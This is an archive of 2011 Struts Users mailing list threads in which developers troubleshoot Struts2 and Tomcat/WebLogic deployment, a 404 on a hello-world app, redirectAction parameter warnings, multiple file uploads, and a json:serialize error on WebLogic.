org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:204) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:311) at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) at java.lang.Thread.run(Thread.java:662) org.apache.coyote.http11.AbstractHttp11Processor endRequest SEVERE: Error finishing response java.lang.ArrayIndexOutOfBoundsException at java.lang.System.arraycopy(Native Method) at org.apache.coyote.http11.AbstractOutputBuffer.write(AbstractOutputBuffer.java:491) at org.apache.coyote.http11.AbstractOutputBuffer.sendStatus(AbstractOutputBuffer.java:331) at org.apache.coyote.http11.AbstractHttp11Processor.prepareResponse(AbstractHttp11Processor.java:952) at org.apache.coyote.http11.AbstractHttp11Processor.action(AbstractHttp11Processor.java:739) at org.apache.coyote.Response.action(Response.java:168) at org.apache.coyote.http11.AbstractOutputBuffer.endRequest(AbstractOutputBuffer.java:308) at org.apache.coyote.http11.InternalOutputBuffer.endRequest(InternalOutputBuffer.java:160) at org.apache.coyote.http11.AbstractHttp11Processor.endRequest(AbstractHttp11Processor.java:990) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:350) at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:204) at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:311) at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) at java.lang.Thread.run(Thread.java:662) org.apache.catalina.connector.CoyoteAdapter service SEVERE: An exception or error occurred in the container during the request processing java.lang.ArrayIndexOutOfBoundsException org.apache.coyote.http11.AbstractHttp11Processor endRequest SEVERE: Error finishing response java.lang.ArrayIndexOutOfBoundsException at java.lang.System.arraycopy(Native Method) at org.apache.coyote.http11.AbstractOutputBuffer.write(AbstractOutputBuffer.java:491) at org.apache.coyote.http11.AbstractOutputBuffer.sendStatus(AbstractOutputBuffer.java:331) at org.apache.coyote.http11.AbstractHttp11Processor.prepareResponse(AbstractHttp11Processor.java:952) at
Re: provide Helloworld application in Struts2.0
have you checked the tomcat's logs to see if the app is deployed correctly? 2011/11/15 Praveen Jain jain_praveen_mail...@yahoo.com Dear Demo, Still it is not running and following error message is occurring HTTP Status 404 - /HelloWorldStruts2/ type Status report message /HelloWorldStruts2/ description The requested resource (/HelloWorldStruts2/) is not available. Apache Tomcat/5.0.28 Thanks Praveen Jain --- On Mon, 11/14/11, Damian Krawcewicz dkrawcew...@gmail.com wrote: From: Damian Krawcewicz dkrawcew...@gmail.com Subject: Re: provide Helloworld application in Struts2.0 To: Struts Users Mailing List user@struts.apache.org Date: Monday, November 14, 2011, 8:58 AM For starters, this line: package name=Struts2 namespace= / struts-default either remove struts-default or change it to: extends=struts-default Damo On 14 November 2011 16:53, Praveen Jain jain_praveen_mail...@yahoo.com wrote: Yes I made a Simple hello application in Servlet and it is running fine. But my hello world application in struts is not running please find the four files which compose the application i have made 4 files index.jsp , Helloworld.jsp , web.xml , struts.xml Please go through the code and help me out to run the application. code for index.jsp %@ page language=java contentType=text/html; charset=ISO-8859-1 pageEncoding=ISO-8859-1% %@taglib prefix=s uri=/struts-tags % !DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd; html head meta http-equiv=Content-Type content=text/html; charset=ISO-8859-1 titleHello World/title /head body h1Hello World fron struts 2 /h1 form action=HelloWorldAction label for=name Please enter ur name/labelbr input type=text name=name/ input type=submit value=Say Hello /form /body /html Code for Helloworld.jsp %@ page language=java contentType=text/html; charset=ISO-8859-1 pageEncoding=ISO-8859-1% %@taglib prefix=s uri=/struts-tags % !DOCTYPE html PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd; html head meta http-equiv=Content-Type content=text/html; charset=ISO-8859-1 titleHello World JSP/title /head body Hello world,s:property value=name/ /body /html Code for Web.xml ?xml version=1.0 encoding=UTF-8? web-app id=WebApp_ID version=2.4 xmlns= http://java.sun.com/xml/ns/j2ee; xmlns:xsi= http://www.w3.org/2001/XMLSchema-instance; xsi:schemaLocation= http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd; display-nameHelloWorldStruts2/display-name welcome-file-list welcome-fileindex.jsp/welcome-file /welcome-file-list filter filter-nameStruts2/filter-name filter-classorg.apache.struts2.dispatcher.FilterDispatcher/filter-class /filter filter-mapping filter-nameStruts2/filter-name url-pattern/*/url-pattern /filter-mapping /web-app Code for Struts.xml ?xml version=1.0 encoding=UTF-8? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd; struts constant name=struts.devMode value=true/constant package name=Struts2 namespace= / struts-default action name=HelloWorldAction class=Struts2.HelloWorldAction method=execute result name=successHelloworld.jsp/result /action /package /struts --- On Sun, 11/13/11, Ilya Kazakevich ilya.kazakev...@jetbrains.com wrote: From: Ilya Kazakevich ilya.kazakev...@jetbrains.com Subject: RE: provide Helloworld application in Struts2.0 To: 'Struts Users Mailing List' user@struts.apache.org Date: Sunday, November 13, 2011, 10:07 AM You probably need to familiarize yourself with concepts of servlet and context. Please read servlet specification (at least Overview chapter) and tomcat context manual http://tomcat.apache.org/tomcat-6.0-doc/config/context.html Try to write and deploy simple servlet then that does nothing but writes hello to the output. After success you may get back to struts. Ilya Kazakevich, Developer JetBrains Inc http://www.jetbrains.com Develop with pleasure! -Original Message- From: Praveen Jain [mailto:jain_praveen_mail...@yahoo.com] Sent: Sunday, November 13, 2011 9:51 PM To: Struts Users Mailing List Subject: RE: provide Helloworld application in Struts2.0 HelloWorldStruts2 is the name of the project made in Eclipse and its web.xml is as under mentioned ?xml version=1.0 encoding=UTF-8? web-app id=WebApp_ID version=2.4 xmlns=http://java.sun.com/xml/ns/j2ee; xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance;
Re: s:textfield / Beginner question
I dont't get your point. In which part do you recover the values sent by the user to the server? I think the best way to do that would be to use the Struts' infrastructure to load the fields in a temporary object, and then recover the object from the DB and alter the fields you want on that object. You would need to implement Preparable to create the object before the parameters are loaded.Suppousing you use the same action to see and save the object Person, the action would be as follow: package test; import com.opensymphony.xwork2.ActionSupport; import com.opensymphony.xwork2.Preparable; public class PersonAction extends ActionSupport implements Preparable{ private Person person = null; public Person getPerson() { return person; } public void setPerson(Person person) { this.person = person; } public void prepare() throws Exception { } public void prepareSave() throws Exception { //This is so Struts can do a getPerson().setXXX(); person = new Person(); } public String save(){ Person person2 = em.find(1, Person.class);; person2.setName(person.getName()); //Copy other fields depending on the user's profile //Save person2 } public String see(){ //read Person 1 from DB person = em.find(1, Person.class); return SUCCESS; } } 2011/11/14 Marco Schwarz marco.schw...@cioppino.net I remember I'm new with Struts2 ;-) Why do I use Struts2/Tiles/openJPA? openJPA: to work with database entities tiles: to work with layouts struts2: the action concept and the posibility to make mapping between html and the object in my action. example: model: class Person() { private int id; private String name; public String getName() { return name; } public int getId() { return id; } public void setName(String name) { this.name = name; } publci void setId(int id) { this.id = id; } } action: PersonAction extends { private Person person; @override public String execute throws Execption { //read Person 1 from DB person = em.find(1, Person.class); return SUCCESS; } } html: s:textfield name=person.id label=id / s:textfield name=person.name label=name / When I must read the request, why do I use Struts2... Servlet do the same. Thanks Marco On Mon, Nov 14, 2011 at 3:58 PM, Edward W. Rouse ero...@comsquared.com wrote: You could always store it in the session and read it from there. -Original Message- From: Marco Schwarz [mailto:marco.schw...@cioppino.net] Sent: Saturday, November 12, 2011 1:57 PM To: Struts Users Mailing List; jlm...@gmail.com Subject: Re: s:textfield / Beginner question You are right, but the user must see the fields and I need the object with all properties for call (JPA) persist method. what's the best practice for this use case I have one object and many roles any role can change a different field ... Do I create a class for any roles? Idea? Thanks Marco On Sat, Nov 12, 2011 at 7:31 PM, jlm...@gmail.com wrote: The use of hidden fields to avoid the user changing those fields is a security risk. You are still getting all the fields from the client's side, so the user or somebody else (through a man-in-the-middle atytack) are still able to change the value of those fields. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: provide Helloworld application in Struts2.0
Check the server logs, to see if the application has been deployed correctly. 2011/11/13 Praveen Jain jain_praveen_mail...@yahoo.com Thanks for your reply but I am getting Error HTTP Status 404 - /HelloWorldStruts2/type Status reportmessage /HelloWorldStruts2/description The requested resource (/HelloWorldStruts2/) is not available. Can you help to solve the error. ThanksPraveen Jain --- On Sun, 11/13/11, Ilya Kazakevich ilya.kazakev...@jetbrains.com wrote: From: Ilya Kazakevich ilya.kazakev...@jetbrains.com Subject: RE: provide Helloworld application in Struts2.0 To: 'Struts Users Mailing List' user@struts.apache.org Date: Sunday, November 13, 2011, 6:02 AM Hello, You can find one here: http://struts.apache.org/2.0.11/docs/hello-world.html They use jetty in example but this application is container-independent and could run in tomcat too. Ilya Kazakevich, Developer JetBrains Inc http://www.jetbrains.com Develop with pleasure! -Original Message- From: Praveen Jain [mailto:jain_praveen_mail...@yahoo.com] Sent: Sunday, November 13, 2011 5:54 PM To: user@struts.apache.org Subject: provide Helloworld application in Struts2.0 Dear All, I am new in Struts 2.0 I need a working Helloworld application to Run on TOMCAT server. Thanks in Advance. Praveen Jain - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: s:textfield / Beginner question
I don't know how JPA works exactly, but I suppouse at some point in your app you need to get the object from the database through JPA and upda 2011/11/12 Marco Schwarz marco.schw...@cioppino.net You are right, but the user must see the fields and I need the object with all properties for call (JPA) persist method. what's the best practice for this use case I have one object and many roles any role can change a different field ... Do I create a class for any roles? Idea? Thanks Marco On Sat, Nov 12, 2011 at 7:31 PM, jlm...@gmail.com wrote: The use of hidden fields to avoid the user changing those fields is a security risk. You are still getting all the fields from the client's side, so the user or somebody else (through a man-in-the-middle atytack) are still able to change the value of those fields.
Re: struts2 in weblogic 10.3
Why don't you try to deploy struts-blank.war, without doing any changes, and then start doing changes? 2011/11/1 Struts Two struts...@yahoo.ca Hi: I know based on my experience that I had quite some trouble running struts 2 on WebSphere which led to opening quite a few PMRS with IBM. And in many occasions it happened to be the issue with existing struts 2 design that breaks the Spec such as using filters to server resources and etc and then you are left in catch 22 situation where you get no support from application server vendor as finger pointed to struts 2 deviation from the Spec and the current design can not be changed. If you are in the process of choosing a framework for your application, you may want to take a look at Spring MVC as well. - Original Message - From: Frans Thamura fr...@meruvian.org To: Struts Users Mailing List user@struts.apache.org; jlm...@gmail.com Cc: Sent: Tuesday, November 1, 2011 8:06:19 AM Subject: Re: struts2 in weblogic 10.3 Can we know? Where do you put ur struts.xml and can share ur war structure On Nov 1, 2011 6:00 PM, jlm...@gmail.com wrote: I'm using Struts 2 with WL withou problems for months. You meed to check your app. Sent via BlackBerry from T-Mobile -Original Message- From: Frans Thamura fr...@meruvian.org Date: Tue, 1 Nov 2011 17:16:16 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: struts2 in weblogic 10.3 Hi all Just test our code, springmvc run well. Does this mean struts2, not weblogic ready? F On Nov 1, 2011 3:31 PM, Maurizio Cucchiara mcucchi...@apache.org wrote: Looks like weblogic is trying to loading the same library twice: - from :C:/Users/user/.m2/repository/org/apache/struts/struts2-core/ 2.2.3.1/s - and from F:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/_auto_generated_ear_/me9saz/war/WEB-INF/lib/ Anyway, I'm sure that you will be luckier asking this kind of question to the user ML. Twitter :http://www.twitter.com/m_cucchiara G+ :https://plus.google.com/107903711540963855921 Linkedin:http://www.linkedin.com/in/mauriziocucchiara Maurizio Cucchiara On 31 October 2011 07:43, vickyfaizal vicky.fai...@meruvian.org wrote: Unable to load configuration. - bean - - To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org For additional commands, e-mail: dev-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Multiple FormFile Uploads in Struts 1
This works for me. private File fileToUpload[];// The actual file private String fileToUploadContentType[]; // The content type of the file private String fileToUploadFileName[]; // The uploaded file name public void setFiletoUpload(File upload[]) { this.fileToUpload = upload; } public void setFiletoUploadContentType(String uploadContentType[]) { this.fileToUploadContentType = uploadContentType; } public void setFiletoUploadFileName(String uploadFileName[]) { this.fileToUploadFileName = uploadFileName; } 2011/10/28 Sekar, Sowmya sse...@ucsd.edu Hi, Does anyone have a working solution of multiple formfile uploads? I declared the formfile as an arraylist and indexed the property in the jsp files. I also changed the setter and getter methods to take the index and formfile object. However, when I save the form, it throws argument type mismatch error Any ideas? Sowmya
Re: Multiple FormFile Uploads in Struts 1
In the JSP input type=file id=file0 name=filetoUpload /br / input type=file id=file1 name=filetoUpload /br / input type=file id=file2 name=filetoUpload /br / input type=file id=file3 name=filetoUpload /br / 2011/10/28 JOSE L MARTINEZ-AVIAL jlm...@gmail.com This works for me. private File fileToUpload[];// The actual file private String fileToUploadContentType[]; // The content type of the file private String fileToUploadFileName[]; // The uploaded file name public void setFiletoUpload(File upload[]) { this.fileToUpload = upload; } public void setFiletoUploadContentType(String uploadContentType[]) { this.fileToUploadContentType = uploadContentType; } public void setFiletoUploadFileName(String uploadFileName[]) { this.fileToUploadFileName = uploadFileName; } 2011/10/28 Sekar, Sowmya sse...@ucsd.edu Hi, Does anyone have a working solution of multiple formfile uploads? I declared the formfile as an arraylist and indexed the property in the jsp files. I also changed the setter and getter methods to take the index and formfile object. However, when I save the form, it throws argument type mismatch error Any ideas? Sowmya
Re: Multiple FormFile Uploads in Struts 1
Oops, sorry, I didn't see you were asking for Struts1 2011/10/28 JOSE L MARTINEZ-AVIAL jlm...@gmail.com In the JSP input type=file id=file0 name=filetoUpload /br / input type=file id=file1 name=filetoUpload /br / input type=file id=file2 name=filetoUpload /br / input type=file id=file3 name=filetoUpload /br / 2011/10/28 JOSE L MARTINEZ-AVIAL jlm...@gmail.com This works for me. private File fileToUpload[];// The actual file private String fileToUploadContentType[]; // The content type of the file private String fileToUploadFileName[]; // The uploaded file name public void setFiletoUpload(File upload[]) { this.fileToUpload = upload; } public void setFiletoUploadContentType(String uploadContentType[]) { this.fileToUploadContentType = uploadContentType; } public void setFiletoUploadFileName(String uploadFileName[]) { this.fileToUploadFileName = uploadFileName; } 2011/10/28 Sekar, Sowmya sse...@ucsd.edu Hi, Does anyone have a working solution of multiple formfile uploads? I declared the formfile as an arraylist and indexed the property in the jsp files. I also changed the setter and getter methods to take the index and formfile object. However, when I save the form, it throws argument type mismatch error Any ideas? Sowmya
URL is stripped of its parameters on redirectAction
Hi, According to the documentation( http://struts.apache.org/2.2.3/docs/parameters-in-configuration-results.html) it is possible to use parameters in a URL on a RedirectAction, as follows: result type=redirectActionNavigateTo?myParameter=myValue/result But when I use that, the redirect instruction does not have the parameter, only the first part of the URL. Is there anything I'm missing? Thanks JL
Re: Error Function 'json:serialize' specifies 5 params, but 1 were declared on WebLogic
Well, I opened a ticket with Oracle, and send them a testcase. They determined that it is a bug with the parsing of EL expression on WebLogic 10.3.0 for Windows. Later versions are not affected. Thank you for your help! 2011/8/31 Maurizio Cucchiara mcucchi...@apache.org IIRC some application server provide their custom implementation of the taglib library. Looks like a WebLogic issue, after all there is no reason it works on Linux (and also as you noticed, there is only one function declaration inside JsonPlugin.tld). Maurizio Cucchiara On 31 August 2011 06:04, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: BTW, I just upgraded to Strus-2.2.3, and it fails too, but this time the errors says Function 'json:serialize' specifies 6 params, but 1 were declared. 2011/8/30 JOSE L MARTINEZ-AVIAL jlm...@gmail.com It's strange. I remove the c:put, deploy the war, and it failed again. When I took a look at the java code generated by the JSP, and it has the following declaration static private weblogic.jsp.internal.jsp.JspFunctionMapper _jspx_fnmap = weblogic.jsp.internal.jsp.JspFunctionMapper.getInstance(); static {_jspx_fnmap.mapFunction(json:serialize, org.apache.struts2.json.JSONUtil.class, serialize, new Class[]{ java.lang.Object .class , java.util.Collection .class , java.util.Collection .class , boolean .class , boolean .class }); } So it is creating a Function Mapper for json:serialize that receives 5 arguments (Object, Collection, Collection, boolean, boolean). If one takes a look at the API( http://struts.apache.org/2.1.8/struts2-plugins/struts2-json-plugin/apidocs/org/apache/struts2/json/JSONUtil.html#method_summary ), the method serialize is overloaded, so there is a method that receives only an object(The one that is declared on the TLD), and another one that receives the same arguments defined on the JSP. It seems that the WebLogic is ignoring the TLD, and it is just using another method instead of the one indicated on the TLD, which is defined as follows [...] function nameserialize/name function-classorg.apache.struts2.json.JSONUtil/function-class function-signature java.lang.String serialize(java.lang.Object) /function-signature /function [...] Any idea of why it can behave that way? It's curious that on Linux it works fine, it only fails on Windows. 2011/8/30 Maurizio Cucchiara mcucchi...@apache.org Also, you should verify against the latest version (2.2.3). Again, IIRC there should be some similar trouble with the version you are using. Maurizio Cucchiara On 30 August 2011 21:51, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Hi, I'm using Struts 2.1.8, with plugin struts2-json-plugin-2.1.8.1.jar in an application deployed on WebLogic 10.3 ovver RedHat. We've been using the tag json:serialize without issue for months. But today we installed the same version of WebLogic over Windowx 7, and every time that tag is used, we got that error: Function 'json:serialize' specifies 5 params, but 1 were declared The tag is used as follows: var boxContent = c:out value=${json:serialize(myDataStore)} escapeXml='false'/; It is the same war we deployed (and it works) on our RedHat environment, so I don't understand why is giving such error message. Any ideas? Thanks JL - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Struts 2 WW-1714: Using the Redirect Action Result withparameters to the target action causes an OGNL warning still fails
Hi, I just added a very simple package to my app to test this. The package is defined as follows: package name=eco-test namespace=/test extends=json-default action name=TestNavigateTo result type=redirectAction param name=actionNameNavigateTo/param param name=navigateToEnroll1/param /result /action action name=NavigateTo result/WEB-INF/jsp/test.jsp/result /action /package It's still failing when I use that action. Any thoughts? 2011/9/8 jlm...@gmail.com Humm, I think I'm going to duplicate the two actions and go step by step taking out my own additions(as you said Tiles and get back to the default stack) and see on what moment it works fine. I'll let you know. Thanks JL Sent via BlackBerry from T-Mobile -Original Message- From: Maurizio Cucchiara mcucchi...@apache.org Sender: maurizio.cucchi...@gmail.com Date: Thu, 8 Sep 2011 10:44:36 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: Struts 2 WW-1714: Using the Redirect Action Result with parameters to the target action causes an OGNL warning still fails Please forget my last mail, I mixed up the action name with the param name. Anyway I have been able to test your specific use case, using the blank webapp, and it works like a charm (that is without throwing any exception). So, I guess we need to know some further details. Also, could you try to change the result type from tiles to dispatcher (the default value), in order to exclude that is something related to tiles. Maurizio Cucchiara On 7 September 2011 20:35, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: result type=tileseco.login.navigate-to.screen/result - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Struts 2 WW-1714: Using the Redirect Action Result withparameters to the target action causes an OGNL warning still fails
I just have been able to replicate it on a blank Strus2 application (Struts.2.2.3) I just added a package and a JSP to have something to navigate to, and it is showing the same error message. 2011/9/8 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I just added a very simple package to my app to test this. The package is defined as follows: package name=eco-test namespace=/test extends=json-default action name=TestNavigateTo result type=redirectAction param name=actionNameNavigateTo/param param name=navigateToEnroll1/param /result /action action name=NavigateTo result/WEB-INF/jsp/test.jsp/result /action /package It's still failing when I use that action. Any thoughts? 2011/9/8 jlm...@gmail.com Humm, I think I'm going to duplicate the two actions and go step by step taking out my own additions(as you said Tiles and get back to the default stack) and see on what moment it works fine. I'll let you know. Thanks JL Sent via BlackBerry from T-Mobile -Original Message- From: Maurizio Cucchiara mcucchi...@apache.org Sender: maurizio.cucchi...@gmail.com Date: Thu, 8 Sep 2011 10:44:36 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: Struts 2 WW-1714: Using the Redirect Action Result with parameters to the target action causes an OGNL warning still fails Please forget my last mail, I mixed up the action name with the param name. Anyway I have been able to test your specific use case, using the blank webapp, and it works like a charm (that is without throwing any exception). So, I guess we need to know some further details. Also, could you try to change the result type from tiles to dispatcher (the default value), in order to exclude that is something related to tiles. Maurizio Cucchiara On 7 September 2011 20:35, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: result type=tileseco.login.navigate-to.screen/result - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Struts 2 WW-1714: Using the Redirect Action Result withparameters to the target action causes an OGNL warning still fails
Maurizio, I think I have some confusion here, so please correct me if I'm wrong. Reading again the issue in JIRA, I understand that the correction was to change the log level for that error to DEBUG, so it is still there, but it would only appear if the log level is setup to DEBUG, and the devMode is set to true. Is that right? Because I have the log level setup to DEBUG, but the devMode is set to false, so it shouldn't be the case. I'm sorry, but the description of the fix on JIRA doesn't seem very clear to me. Thanks JL 2011/9/8 Maurizio Cucchiara mcucchi...@apache.org I am sorry, but I am not able to reproduce it. This is what I did (please see [1] for further details): mvn archetype:generate -B \ -DgroupId=tutorial \ -DartifactId=tutorial \ -DarchetypeGroupId=org.apache.struts \ -DarchetypeArtifactId=struts2-archetype-blank \ -DarchetypeVersion=2.2.3.1 Then I opened example.xml and added what you wrote before (I only changed the jsp): action name=TestNavigateTo result type=redirectAction param name=actionNameNavigateTo/param param name=navigateToEnroll1/param /result /action action name=NavigateTo result/example/HelloWorld.jsp/result /action Launched jetty with mvn jetty:run Now whenever I go to http://localhost:8080/tutorial/example/TestNavigateTo.action, Struts send a redirect to http://localhost:8080/tutorial/example/NavigateTo.action?navigateTo=Enroll1 So, my guess is there is something with your current configuration (application server, environment, etc.) PS: FYI the latest release of Struts 2 is 2.2.3.1 (see http://struts.apache.org/2.2.3.1/index.html) [1] http://struts.apache.org/2.2.3/docs/struts-2-maven-archetypes.html Maurizio Cucchiara On 8 September 2011 14:19, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: I just have been able to replicate it on a blank Strus2 application (Struts.2.2.3) I just added a package and a JSP to have something to navigate to, and it is showing the same error message. 2011/9/8 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I just added a very simple package to my app to test this. The package is defined as follows: package name=eco-test namespace=/test extends=json-default action name=TestNavigateTo result type=redirectAction param name=actionNameNavigateTo/param param name=navigateToEnroll1/param /result /action action name=NavigateTo result/WEB-INF/jsp/test.jsp/result /action /package It's still failing when I use that action. Any thoughts? 2011/9/8 jlm...@gmail.com Humm, I think I'm going to duplicate the two actions and go step by step taking out my own additions(as you said Tiles and get back to the default stack) and see on what moment it works fine. I'll let you know. Thanks JL Sent via BlackBerry from T-Mobile -Original Message- From: Maurizio Cucchiara mcucchi...@apache.org Sender: maurizio.cucchi...@gmail.com Date: Thu, 8 Sep 2011 10:44:36 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: Struts 2 WW-1714: Using the Redirect Action Result with parameters to the target action causes an OGNL warning still fails Please forget my last mail, I mixed up the action name with the param name. Anyway I have been able to test your specific use case, using the blank webapp, and it works like a charm (that is without throwing any exception). So, I guess we need to know some further details. Also, could you try to change the result type from tiles to dispatcher (the default value), in order to exclude that is something related to tiles. Maurizio Cucchiara On 7 September 2011 20:35, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: result type=tileseco.login.navigate-to.screen/result - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Struts 2 WW-1714: Using the Redirect Action Result with parameters to the target action causes an OGNL warning still fails
Hi, I'm having some issues with this bug. Apparently it was fixed on 2.1.8, but I've tested both with 2.1.8 and 2.2.3, and it still givin an error message when I use a result like the following: result name=enroll type=redirectAction param name=actionNameNavigateTo/param param name=navigateToEnroll/param /result It gives the following error: 2011-09-07 09:51:42,408 DEBUG org.apache.struts2.dispatcher.ServletRedirectResult - Caught OgnlException while setting property 'navigateTo' on type 'org.apache.struts2.dispatcher.ServletActionRedirectResult'. Caught OgnlException while setting property 'navigateTo' on type 'org.apache.struts2.dispatcher.ServletActionRedirectResult'. - Class: ognl.ObjectPropertyAccessor File: ObjectPropertyAccessor.java Method: setProperty Line: 166 - ognl/ObjectPropertyAccessor.java:166:-1 at com.opensymphony.xwork2.ognl.OgnlUtil.internalSetProperty(OgnlUtil.java:412) at com.opensymphony.xwork2.ognl.OgnlUtil.setProperty(OgnlUtil.java:160) at com.opensymphony.xwork2.ognl.OgnlReflectionProvider.setProperty(OgnlReflectionProvider.java:91) at com.opensymphony.xwork2.ObjectFactory.buildResult(ObjectFactory.java:232) at com.opensymphony.xwork2.DefaultActionInvocation.createResult(DefaultActionInvocation.java:220) at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:367) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:277) at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2086) [...] at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1406) at weblogic.work.ExecuteThread.execute(ExecuteThread.java:201) at weblogic.work.ExecuteThread.run(ExecuteThread.java:173) Caused by: ognl.NoSuchPropertyException: org.apache.struts2.dispatcher.ServletActionRedirectResult.navigateTo at ognl.ObjectPropertyAccessor.setProperty(ObjectPropertyAccessor.java:166) at com.opensymphony.xwork2.ognl.accessor.ObjectAccessor.setProperty(ObjectAccessor.java:27) at ognl.OgnlRuntime.setProperty(OgnlRuntime.java:2245) at ognl.ASTProperty.setValueBody(ASTProperty.java:127) at ognl.SimpleNode.evaluateSetValueBody(SimpleNode.java:220) at ognl.SimpleNode.setValue(SimpleNode.java:301) at ognl.Ognl.setValue(Ognl.java:737) at com.opensymphony.xwork2.ognl.OgnlUtil.setValue(OgnlUtil.java:209) at com.opensymphony.xwork2.ognl.OgnlUtil.internalSetProperty(OgnlUtil.java:405) ... 67 more Any idea? TIA Jose Luis
Re: Struts 2 WW-1714: Using the Redirect Action Result with parameters to the target action causes an OGNL warning still fails
You mean the param value for actionName? But that's the name of the action where the user is redirected. result name=enroll type=redirectAction param name=actionNameNavigateTo/param param name=navigateToEnroll/param /result action name=NavigateTo interceptor-ref name=defaultStack/ interceptor-ref name=SystemAvailableInterceptor/ result type=tileseco.login.navigate-to.screen/result /action Any case, I just tried to lower the actionName to navigateTo, but it gives the same error(It navigates correctly, is just that annoying log). Thanks JL 2011/9/7 Maurizio Cucchiara mcucchi...@apache.org Does anything change if you change to lower the param name?: param name=actionNamenavigateTo/param Maurizio Cucchiara On 7 September 2011 15:56, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: NavigateTo - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Error Function 'json:serialize' specifies 5 params, but 1 were declared on WebLogic
Hi, I'm using Struts 2.1.8, with plugin struts2-json-plugin-2.1.8.1.jar in an application deployed on WebLogic 10.3 ovver RedHat. We've been using the tag json:serialize without issue for months. But today we installed the same version of WebLogic over Windowx 7, and every time that tag is used, we got that error: Function 'json:serialize' specifies 5 params, but 1 were declared The tag is used as follows: var boxContent = c:out value=${json:serialize(myDataStore)} escapeXml='false'/; It is the same war we deployed (and it works) on our RedHat environment, so I don't understand why is giving such error message. Any ideas? Thanks JL
Re: Error Function 'json:serialize' specifies 5 params, but 1 were declared on WebLogic
It's strange. I remove the c:put, deploy the war, and it failed again. When I took a look at the java code generated by the JSP, and it has the following declaration static private weblogic.jsp.internal.jsp.JspFunctionMapper _jspx_fnmap = weblogic.jsp.internal.jsp.JspFunctionMapper.getInstance(); static {_jspx_fnmap.mapFunction(json:serialize, org.apache.struts2.json.JSONUtil.class, serialize, new Class[]{ java.lang.Object .class , java.util.Collection .class , java.util.Collection .class , boolean .class , boolean .class }); } So it is creating a Function Mapper for json:serialize that receives 5 arguments (Object, Collection, Collection, boolean, boolean). If one takes a look at the API( http://struts.apache.org/2.1.8/struts2-plugins/struts2-json-plugin/apidocs/org/apache/struts2/json/JSONUtil.html#method_summary), the method serialize is overloaded, so there is a method that receives only an object(The one that is declared on the TLD), and another one that receives the same arguments defined on the JSP. It seems that the WebLogic is ignoring the TLD, and it is just using another method instead of the one indicated on the TLD, which is defined as follows [...] function nameserialize/name function-classorg.apache.struts2.json.JSONUtil/function-class function-signature java.lang.String serialize(java.lang.Object) /function-signature /function [...] Any idea of why it can behave that way? It's curious that on Linux it works fine, it only fails on Windows. 2011/8/30 Maurizio Cucchiara mcucchi...@apache.org Also, you should verify against the latest version (2.2.3). Again, IIRC there should be some similar trouble with the version you are using. Maurizio Cucchiara On 30 August 2011 21:51, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Hi, I'm using Struts 2.1.8, with plugin 